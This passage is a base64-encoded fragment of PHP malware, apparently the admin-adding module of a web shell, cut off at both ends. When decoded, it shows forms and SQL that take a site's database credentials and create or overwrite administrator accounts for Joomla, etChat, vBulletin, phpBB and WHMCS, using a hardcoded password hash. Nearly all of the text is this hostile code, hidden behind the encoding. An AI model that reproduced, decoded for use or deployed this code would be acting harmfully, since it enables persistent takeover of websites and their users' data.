9hcmRfcXVpY2tfcHJlc3NfbGFzdF9wb3N0X2lkJywnMycpIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KaWYoJHNvbGV2aXNpYmxlKXsNCmVjaG8gIjxjZW50ZXI+PGJyPjxiPjxzY3JpcHQ+YWxlcnQoJ1N1Y2Nlc3MuLi4gIi4kYWRtaW4uIiBpcyBjcmVhdGVkIDopJyk8L3NjcmlwdD48L2I+PC9jZW50ZXI+ICI7IH0NCn0NCn0NCmlmICgkX1BPU1RbJ2FsZmEyJ10gJiYgJF9QT1NUWydhbGZhMiddID09ICdqb29tbGEnICl7DQplY2hvICc8c2NyaXB0PmFsZmExXz1hbGZhM189YWxmYTRfPWFsZmE1Xz1hbGZhNl89YWxmYTdfPWFsZmE4Xz1hbGZhOV89YWxmYTEwXz0iIjwvc2NyaXB0Pg0KPGI+PGNlbnRlcj48Rk9STSBvblN1Ym1pdD0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsdGhpcy5zZW5kLnZhbHVlLFwnam9vbWxhXCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+DQo8Y2VudGVyPjxiPjxmb250IGNvbG9yPSIjRkZGRjAxIj49PTwvZm9udD4gPGZvbnQgY29sb3I9IiMwMEEyMjAiPkFkZDwvZm9udD4gPGZvbnQgY29sb3I9IiNGRkZGRkYiPk5ld0FkbWluPC9mb250PiA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Sm9vbWxhPC9mb250Pjxmb250IGNvbG9yPSIjRkZGRjAxIj4gPT08L2ZvbnQ+PC9iPg0KPHA+PHRhYmxlIGJvcmRlcj0xPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0jRkZGRkZGPiBob3N0IDo8L3RkPg0KPHRkPjxJTlBVVCBzaXplPSIzMCIgdmFsdWU9ImxvY2FsaG9zdCIgbmFtZT0ibG9jYWxob3N0IiB0eXBlPSJ0ZXh0Ij48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSNGRkZGRkY+ZGF0YWJhc2U6IDwvdGQ+DQo8dGQ+PElOUFVUIHNpemU9IjMwIiB2YWx1ZT0iIiBuYW1lPSJkYXRhYmFzZSIgdHlwZT0idGV4dCI+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0jRkZGRkZGPlRhYmxlIFByZWZpeCA6PC90ZD4NCjx0ZD48SU5QVVQgc2l6ZT0iMzAiIHZhbHVlPSJqb3NfIiBuYW1lPSJwcmVmaXgiIHR5cGU9InRleHQiPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGRkZGRj51c2VybmFtZSA6IDwvdGQ+DQo8dGQ+IDxJTlBVVCBzaXplPSIzMCIgdmFsdWU9IiIgbmFtZT0idXNlcm5hbWUiIHR5cGU9InRleHQiPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGRkZGRj5wYXNzd29yZCA6IDwvdGQ+DQo8dGQ+IDxJTlBVVCBzaXplPSIzMCIgdmFsdWU9IiIgbmFtZT0icGFzc3dvcmQiIHR5cGU9InRleHQiPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGMDAwMD5BZG1pbiB1c2VybmFtZTo8L3RkPg0KPHRkPjxJTlBVVCBuYW1lPSJhZG1pbiIgc2l6ZT0iMzAiIHZhbHVlPSJhZG1pbiI+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0jRkYwMDAwPkFkbWluIFBhc3N3b3JkIDo8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+PC90ZD4NCjx0ZD48SU5QVVQgbmFtZT0idG9mdG9mIiBzaXplPSIzMCIgdmFsdWU9InNvbGV2aXNpYmxlIiBkaXNhYmxlZC8+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0jRkYwMDAwPkFkbWluIEVtYWlsOjwvdGQ+DQo8dGQ+IDxJTlBVVCBuYW1lPSJlbWFpbCIgc2l6ZT0iMzAiIHZhbHVlPSJzb2xldmlzaWJsZUBmYmkuZ292Ij48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPElOUFVUIHZhbHVlPSI+PiIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij4NCjwvRk9STT48L2NlbnRlcj48L2I+JzsNCmlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+Picpew0KJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTMnXTsNCiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTQnXTsNCiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTUnXTsNCiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTYnXTsNCiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsNCiRTUUwgPSAkX1BPU1RbJ2FsZmE5J107DQokcHJlZml4ID0gJF9QT1NUWydhbGZhMTAnXTsNCkBteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KQG15c3FsX3NlbGVjdF9kYigkZGF0YWJhc2UpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxfcXVlcnkoImluc2VydCBpbnRvICIuJHByZWZpeC4idXNlcnMgKGlkLG5hbWUsdXNlcm5hbWUsZW1haWwscGFzc3dvcmQpIHZhbHVlcyhudWxsLCdTdXBlciBVc2VyJywnIi4kYWRtaW4uIicsJyIuJFNRTC4iJywnZDRhNTkwY2FhY2MwYmU1NWVmMjg2ZTQwYTk0NWVhNDUnKSIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxfcXVlcnkoInNlbGVjdCBpZCBmcm9tICIuJHByZWZpeC4idXNlcnMgd2hlcmUgdXNlcm5hbWU9JyIuJGFkbWluLiInIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJHNvbGUgPSBteXNxbF9udW1fcm93cygkc29sZXZpc2libGUpOw0KaWYgKCRzb2xlID09IDEpew0KJHNvbGV2aXMgPSBteXNxbF9mZXRjaF9hc3NvYygkc29sZXZpc2libGUpOw0KJHJlcyA9ICRzb2xldmlzWydpZCddOw0KfQ0KJHNvbGV2aXNpYmxlPUBteXNxbF9xdWVyeSgiSU5TRVJUIElOVE8gIi4kcHJlZml4LiJ1c2VyX3VzZXJncm91cF9tYXAgKHVzZXJfaWQsZ3JvdXBfaWQpIFZBTFVFUyAoJyIuJHJlcy4iJywgJzgnKSIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCmlmKCRzb2xldmlzaWJsZSl7DQplY2hvICI8Y2VudGVyPjxicj48Yj48c2NyaXB0PmFsZXJ0KCdTdWNjZXNzLi4uICIuJGFkbWluLiIgaXMgY3JlYXRlZCA6KScpPC9zY3JpcHQ+PC9iPjwvY2VudGVyPiAiOyB9DQp9DQp9DQppZiAoJF9QT1NUWydhbGZhMyddICYmICRfUE9TVFsnYWxmYTMnXSA9PSAnZXRjaGF0Jyl7DQplY2hvICc8c2NyaXB0PmFsZmExXz1hbGZhMl89YWxmYTRfPWFsZmE1Xz1hbGZhNl89YWxmYTdfPWFsZmE4Xz1hbGZhOV89YWxmYTEwXz0iIjwvc2NyaXB0Pg0KPGI+PGNlbnRlcj4gPEZPUk0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLHRoaXMuc2VuZC52YWx1ZSx0aGlzLmxvY2FsaG9zdC52YWx1ZSxcJ2V0Y2hhdFwnLHRoaXMuZGF0YWJhc2UudmFsdWUsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSxudWxsKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4NCjxiPjxmb250IGNvbG9yPSIjRkZGRjAxIj49PTwvZm9udD4gPGZvbnQgY29sb3I9IiMwMEEyMjAiPkFkZDwvZm9udD4gPGZvbnQgY29sb3I9IiNGRkZGRkYiPk5ld0FkbWluPC9mb250PiA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+RXRjaGF0PC9mb250Pjxmb250IGNvbG9yPSIjRkZGRjAxIj4gPT08L2ZvbnQ+PC9iPg0KPHA+PHRhYmxlIGJvcmRlcj0xPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0jRkZGRkZGPiBob3N0IDo8L3RkPg0KPHRkPjxJTlBVVCBzaXplPSIzMCIgdmFsdWU9ImxvY2FsaG9zdCIgbmFtZT0ibG9jYWxob3N0IiB0eXBlPSJ0ZXh0Ij48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSNGRkZGRkY+ZGF0YWJhc2U6IDwvdGQ+DQo8dGQ+PElOUFVUIHNpemU9IjMwIiB2YWx1ZT0iIiBuYW1lPSJkYXRhYmFzZSIgdHlwZT0idGV4dCI+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0jRkZGRkZGPnVzZXJuYW1lIDogPC90ZD4NCjx0ZD4gPElOUFVUIHNpemU9IjMwIiB2YWx1ZT0iIiBuYW1lPSJ1c2VybmFtZSIgdHlwZT0idGV4dCI+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0jRkZGRkZGPnBhc3N3b3JkIDogPC90ZD4NCjx0ZD4gPElOUFVUIHNpemU9IjMwIiB2YWx1ZT0iIiBuYW1lPSJwYXNzd29yZCIgdHlwZT0idGV4dCI+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0jRkYwMDAwPkFkbWluIHVzZXJuYW1lOjwvdGQ+DQo8dGQ+PElOUFVUIG5hbWU9ImFkbWluIiBzaXplPSIzMCIgdmFsdWU9ImFkbWluIj48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSNGRjAwMDA+QWRtaW4gUGFzc3dvcmQgOjxmb250IGNvbG9yPSIjRkZGRkZGIj48L3RkPg0KPHRkPjxJTlBVVCBuYW1lPSJ0b2Z0b2YiIHNpemU9IjMwIiB2YWx1ZT0ic29sZXZpc2libGUiIGRpc2FibGVkLz48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPElOUFVUIHZhbHVlPSI+PiIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij4NCjwvRk9STT48L2NlbnRlcj48L2I+JzsNCmlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+Picpew0KJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsNCiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTQnXTsNCiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTUnXTsNCiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTYnXTsNCiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsNCkBteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KQG15c3FsX3NlbGVjdF9kYigkZGF0YWJhc2UpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxfcXVlcnkoImluc2VydCBpbnRvIGRiMV9ldGNoYXRfdXNlciAoZXRjaGF0X3VzZXJfaWQsZXRjaGF0X3VzZXJuYW1lLGV0Y2hhdF91c2VycHcsZXRjaGF0X3VzZXJwcml2aWxlZ2llbikgdmFsdWVzKG51bGwsJyRhZG1pbicsJ2Q0YTU5MGNhYWNjMGJlNTVlZjI4NmU0MGE5NDVlYTQ1JywnYWRtaW4nKSIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCmlmKCRzb2xldmlzaWJsZSl7DQplY2hvICI8Y2VudGVyPjxicj48Yj48c2NyaXB0PmFsZXJ0KCdTdWNjZXNzLi4uICIuJGFkbWluLiIgaXMgY3JlYXRlZCA6KScpPC9zY3JpcHQ+PC9iPjwvY2VudGVyPiAiOyB9DQp9DQp9DQppZiAoJF9QT1NUWydhbGZhNCddICYmICRfUE9TVFsnYWxmYTQnXSA9PSAndmInKXsNCmVjaG8gJzxzY3JpcHQ+YWxmYTFfPWFsZmEyXz1hbGZhM189YWxmYTVfPWFsZmE2Xz1hbGZhN189YWxmYThfPWFsZmE5Xz1hbGZhMTBfPSIiPC9zY3JpcHQ+DQo8Yj48Y2VudGVyPjxGT1JNIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCx0aGlzLnNlbmQudmFsdWUsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSxcJ3ZiXCcsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlLHRoaXMuYWRtaW4udmFsdWUsdGhpcy5lbWFpbC52YWx1ZSk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+DQo8Y2VudGVyPjxiPjxiPjxmb250IGNvbG9yPSIjRkZGRjAxIj49PTwvZm9udD4gPGZvbnQgY29sb3I9IiMwMEEyMjAiPkFkZDwvZm9udD4gPGZvbnQgY29sb3I9IiNGRkZGRkYiPk5ld0FkbWluPC9mb250PiA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+dkJ1bGxldGluPC9mb250Pjxmb250IGNvbG9yPSIjRkZGRjAxIj4gPT08L2ZvbnQ+PC9iPjxwPiA8dGFibGUgYm9yZGVyPTE+DQo8dHI+PHRkPjxmb250IGNvbG9yPSIjRkZGRkZGIj5ob3N0IDo8L2ZvbnQ+PC90ZD4NCjx0ZD48SU5QVVQgc2l6ZT0iMzAiIHZhbHVlPSJsb2NhbGhvc3QiIG5hbWU9ImxvY2FsaG9zdCIgdHlwZT0idGV4dCI+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0iI0ZGRkZGRiI+ZGF0YWJhc2UgOjwvZm9udD48L3RkPg0KPHRkPiA8SU5QVVQgc2l6ZT0iMzAiIHZhbHVlPSIiIG5hbWU9ImRhdGFiYXNlIiB0eXBlPSJ0ZXh0Ij48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSIjRkZGRkZGIj51c2VybmFtZSA6PC9mb250PjwvdGQ+DQo8dGQ+PElOUFVUIHNpemU9IjMwIiB2YWx1ZT0iIiBuYW1lPSJ1c2VybmFtZSIgdHlwZT0idGV4dCI+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0iI0ZGRkZGRiI+cGFzc3dvcmQgOjwvZm9udD48L3RkPg0KPHRkPjxJTlBVVCBzaXplPSIzMCIgdmFsdWU9IiIgbmFtZT0icGFzc3dvcmQiIHR5cGU9InRleHQiPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9IiNGRkZGRkYiPlByZWZpeCA6IDwvZm9udD48L3RkPg0KPHRkPjxJTlBVVCBuYW1lPSJwcmVmaXgiIHNpemU9IjMwIiB2YWx1ZT0iIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkFkbWluIHVzZXJuYW1lOjwvZm9udD48L3RkPg0KPHRkPjxJTlBVVCBuYW1lPSJhZG1pbiIgc2l6ZT0iMzAiIHZhbHVlPSJhZG1pbiI+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+QWRtaW4gUGFzc3dvcmQgOiA8L2ZvbnQ+PC90ZD4NCjx0ZD48SU5QVVQgbmFtZT0iaGkiIHNpemU9IjMwIiB2YWx1ZT0ic29sZXZpc2libGUiIGRpc2FibGVkLz48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSIjRkYwMDAwIj5BZG1pbiBFbWFpbCA6IDwvZm9udD48L3RkPg0KPHRkPjxJTlBVVCBuYW1lPSJlbWFpbCIgc2l6ZT0iMzAiIHZhbHVlPSJzb2xldmlzaWJsZUBmYmkuZ292Ij4gPC90ZD48L3RyPg0KPC90YWJsZT4NCjxJTlBVVCB2YWx1ZT0iPj4iIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+DQo8L0ZPUk0+DQo8L2I+PC9jZW50ZXI+JzsNCmlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+Picpew0KJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsNCiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsNCiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTUnXTsNCiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTYnXTsNCiRwcmVmaXggPSAkX1BPU1RbJ2FsZmE3J107DQokYWRtaW4gPSAkX1BPU1RbJ2FsZmE4J107DQokU1FMID0gJF9QT1NUWydhbGZhOSddOw0KQG15c3FsX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQpAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJHNvbGV2aXNpYmxlPUBteXNxbF9xdWVyeSgiaW5zZXJ0IGludG8geyRwcmVmaXh9dXNlciAodXNlcmlkLHVzZXJncm91cGlkLHVzZXJuYW1lLHBhc3N3b3JkLHNhbHQsZW1haWwpIHZhbHVlcyhudWxsLCc2JywnJGFkbWluJywnNTJlMjhiNzhmNTU2NDFjZDQ2MThhZDFhMjBmNWZkNWMnLCdYd3xJYkdMaFRRQS1Bd0FwVnY+NjF5Xih6XSo8UU4nLCckU1FMJykiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokc29sZXZpc2libGU9QG15c3FsX3F1ZXJ5KCJzZWxlY3QgdXNlcmlkIGZyb20geyRwcmVmaXh9dXNlciB3aGVyZSB1c2VybmFtZT0nIi4kYWRtaW4uIiciKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokc29sZSA9IG15c3FsX251bV9yb3dzKCRzb2xldmlzaWJsZSk7DQppZiAoJHNvbGUgPT0gMSl7DQokc29sZXZpcyA9IG15c3FsX2ZldGNoX2Fzc29jKCRzb2xldmlzaWJsZSk7DQokcmVzID0gJHNvbGV2aXNbJ3VzZXJpZCddOw0KfQ0KJHNvbGV2aXNpYmxlPUBteXNxbF9xdWVyeSgiaW5zZXJ0IGludG8geyRwcmVmaXh9YWRtaW5pc3RyYXRvciAodXNlcmlkLGFkbWlucGVybWlzc2lvbnMpIHZhbHVlcygnIi4kcmVzLiInLCcxNjc0NDQ0NCcpIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KaWYoJHNvbGV2aXNpYmxlKXsNCmVjaG8gIjxjZW50ZXI+PGJyPjxiPjxzY3JpcHQ+YWxlcnQoJ1N1Y2Nlc3MuLi4gIi4kYWRtaW4uIiBpcyBjcmVhdGVkIDopJyk8L3NjcmlwdD48L2I+PC9jZW50ZXI+ICI7IH0NCn0NCn0NCmlmICgkX1BPU1RbJ2FsZmE1J10gJiYgJF9QT1NUWydhbGZhNSddID09ICdwaHBiYicpew0KZWNobyAnPHNjcmlwdD5hbGZhMV89YWxmYTJfPWFsZmEzXz1hbGZhNF89YWxmYTZfPWFsZmE3Xz1hbGZhOF89YWxmYTlfPWFsZmExMF89IiI8L3NjcmlwdD4NCjxiPiA8Y2VudGVyPjxGT1JNIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCx0aGlzLnNlbmQudmFsdWUsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLFwncGhwYmJcJyx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4NCjxiPjxmb250IGNvbG9yPSIjRkZGRjAxIj49PTwvZm9udD4gPGZvbnQgY29sb3I9IiMwMEEyMjAiPkFkZDwvZm9udD4gPGZvbnQgY29sb3I9IiNGRkZGRkYiPk5ld0FkbWluPC9mb250PiA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+cGhwQkI8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRkZGMDEiPiA9PTwvZm9udD48L2I+DQo8cD48dGFibGUgYm9yZGVyPTE+DQo8dHI+PHRkPjxmb250IGNvbG9yPSNGRkZGRkY+IGhvc3QgOjwvdGQ+DQo8dGQ+PElOUFVUIHNpemU9IjMwIiB2YWx1ZT0ibG9jYWxob3N0IiBuYW1lPSJsb2NhbGhvc3QiIHR5cGU9InRleHQiPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGRkZGRj5kYXRhYmFzZTogPC90ZD4NCjx0ZD48SU5QVVQgc2l6ZT0iMzAiIHZhbHVlPSIiIG5hbWU9ImRhdGFiYXNlIiB0eXBlPSJ0ZXh0Ij48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSNGRkZGRkY+VGFibGUgUHJlZml4IDo8L3RkPg0KPHRkPjxJTlBVVCBzaXplPSIzMCIgdmFsdWU9IiIgbmFtZT0icHJlZml4IiB0eXBlPSJ0ZXh0Ij48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSNGRkZGRkY+dXNlcm5hbWUgOiA8L3RkPg0KPHRkPiA8SU5QVVQgc2l6ZT0iMzAiIHZhbHVlPSIiIG5hbWU9InVzZXJuYW1lIiB0eXBlPSJ0ZXh0Ij48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSNGRkZGRkY+cGFzc3dvcmQgOiA8L3RkPg0KPHRkPiA8SU5QVVQgc2l6ZT0iMzAiIHZhbHVlPSIiIG5hbWU9InBhc3N3b3JkIiB0eXBlPSJ0ZXh0Ij48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSNGRjAwMDA+QWRtaW4gdXNlcm5hbWU6PC90ZD4NCjx0ZD48SU5QVVQgbmFtZT0iYWRtaW4iIHNpemU9IjMwIiB2YWx1ZT0iYWRtaW4iPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGMDAwMD5BZG1pbiBQYXNzd29yZCA6PGZvbnQgY29sb3I9IiNGRkZGRkYiPjwvdGQ+DQo8dGQ+PElOUFVUIG5hbWU9InRvZnRvZiIgc2l6ZT0iMzAiIHZhbHVlPSJzb2xldmlzaWJsZSIgZGlzYWJsZWQvPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGMDAwMD5BZG1pbiBFbWFpbDo8L3RkPg0KPHRkPiA8SU5QVVQgbmFtZT0iZW1haWwiIHNpemU9IjMwIiB2YWx1ZT0ic29sZXZpc2libGVAZmJpLmdvdiI+PC90ZD48L3RyPg0KPC90YWJsZT4NCjxJTlBVVCB2YWx1ZT0iPj4iIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+DQo8L0ZPUk0+PGNlbnRlcj48L2I+JzsNCmlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+Picpew0KJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsNCiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsNCiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTQnXTsNCiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTYnXTsNCiRwd2QgPSAkX1BPU1RbJ2FsZmE3J107DQokYWRtaW4gPSAkX1BPU1RbJ2FsZmE4J107DQokU1FMID0gJF9QT1NUWydhbGZhOSddOw0KJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107DQpAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCkBteXNxbF9zZWxlY3RfZGIoJGRhdGFiYXNlKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokaGFzaCA9IG1kNSgkcHdkKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxfcXVlcnkoIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VybmFtZV9jbGVhbiA9JyIuJGFkbWluLiInIFdIRVJFIHVzZXJuYW1lX2NsZWFuID0gJ2FkbWluJyIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxfcXVlcnkoIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VyX3Bhc3N3b3JkID0nIi4kaGFzaC4iJyBXSEVSRSB1c2VybmFtZV9jbGVhbiA9ICdhZG1pbiciKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokc29sZXZpc2libGU9QG15c3FsX3F1ZXJ5KCJVUERBVEUgIi4kcHJlZml4LiJ1c2VycyBTRVQgdXNlcm5hbWVfY2xlYW4gPSciLiRhZG1pbi4iJyBXSEVSRSB1c2VyX3R5cGUgPSAzIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJHNvbGV2aXNpYmxlPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfcGFzc3dvcmQgPSciLiRoYXNoLiInIFdIRVJFIHVzZXJfdHlwZSA9IDMiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokc29sZXZpc2libGU9QG15c3FsX3F1ZXJ5KCJVUERBVEUgIi4kcHJlZml4LiJ1c2VycyBTRVQgdXNlcl9lbWFpbCA9JyIuJFNRTC4iJyBXSEVSRSB1c2VybmFtZV9jbGVhbiA9ICdhZG1pbiciKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQppZigkc29sZXZpc2libGUpew0KZWNobyAiPGNlbnRlcj48YnI+PGI+PHNjcmlwdD5hbGVydCgnU3VjY2Vzcy4uLiAiLiRhZG1pbi4iIGlzIGNyZWF0ZWQgOiknKTwvc2NyaXB0PjwvYj48L2NlbnRlcj4gIjsNCn0NCn0NCn0NCmlmICgkX1BPU1RbJ2FsZmE2J10gJiYgJF9QT1NUWydhbGZhNiddID09ICd3aG1jcycpew0KZWNobyAnPHNjcmlwdD5hbGZhMV89YWxmYTJfPWFsZmEzXz1hbGZhNF89YWxmYTVfPWFsZmE3Xz1hbGZhOF89YWxmYTlfPWFsZmExMF89IiI8L3NjcmlwdD4NCjxiPjxjZW50ZXI+PEZPUk0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLHRoaXMuc2VuZC52YWx1ZSx0aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSxcJ3dobWNzXCcsbnVsbCx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPg0KPGI+PGZvbnQgY29sb3I9IiNGRkZGMDEiPj09PC9mb250PiA8Zm9udCBjb2xvcj0iIzAwQTIyMCI+QWRkPC9mb250PiA8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+TmV3QWRtaW48L2ZvbnQ+IDxmb250IGNvbG9yPSIjRkYwMDAwIj5XaG1jczwvZm9udD48Zm9udCBjb2xvcj0iI0ZGRkYwMSI+ID09PC9mb250PjwvYj4NCjxwPjx0YWJsZSBib3JkZXI9MT4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGRkZGRj4gaG9zdCA6PC90ZD4NCjx0ZD48SU5QVVQgc2l6ZT0iMzAiIHZhbHVlPSJsb2NhbGhvc3QiIG5hbWU9ImxvY2FsaG9zdCIgdHlwZT0idGV4dCI+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0jRkZGRkZGPmRhdGFiYXNlOiA8L3RkPg0KPHRkPjxJTlBVVCBzaXplPSIzMCIgdmFsdWU9IiIgbmFtZT0iZGF0YWJhc2UiIHR5cGU9InRleHQiPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGRkZGRj51c2VybmFtZSA6IDwvdGQ+DQo8dGQ+IDxJTlBVVCBzaXplPSIzMCIgdmFsdWU9IiIgbmFtZT0idXNlcm5hbWUiIHR5cGU9InRleHQiPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGRkZGRj5wYXNzd29yZCA6IDwvdGQ+DQo8dGQ+IDxJTlBVVCBzaXplPSIzMCIgdmFsdWU9IiIgbmFtZT0icGFzc3dvcmQiIHR5cGU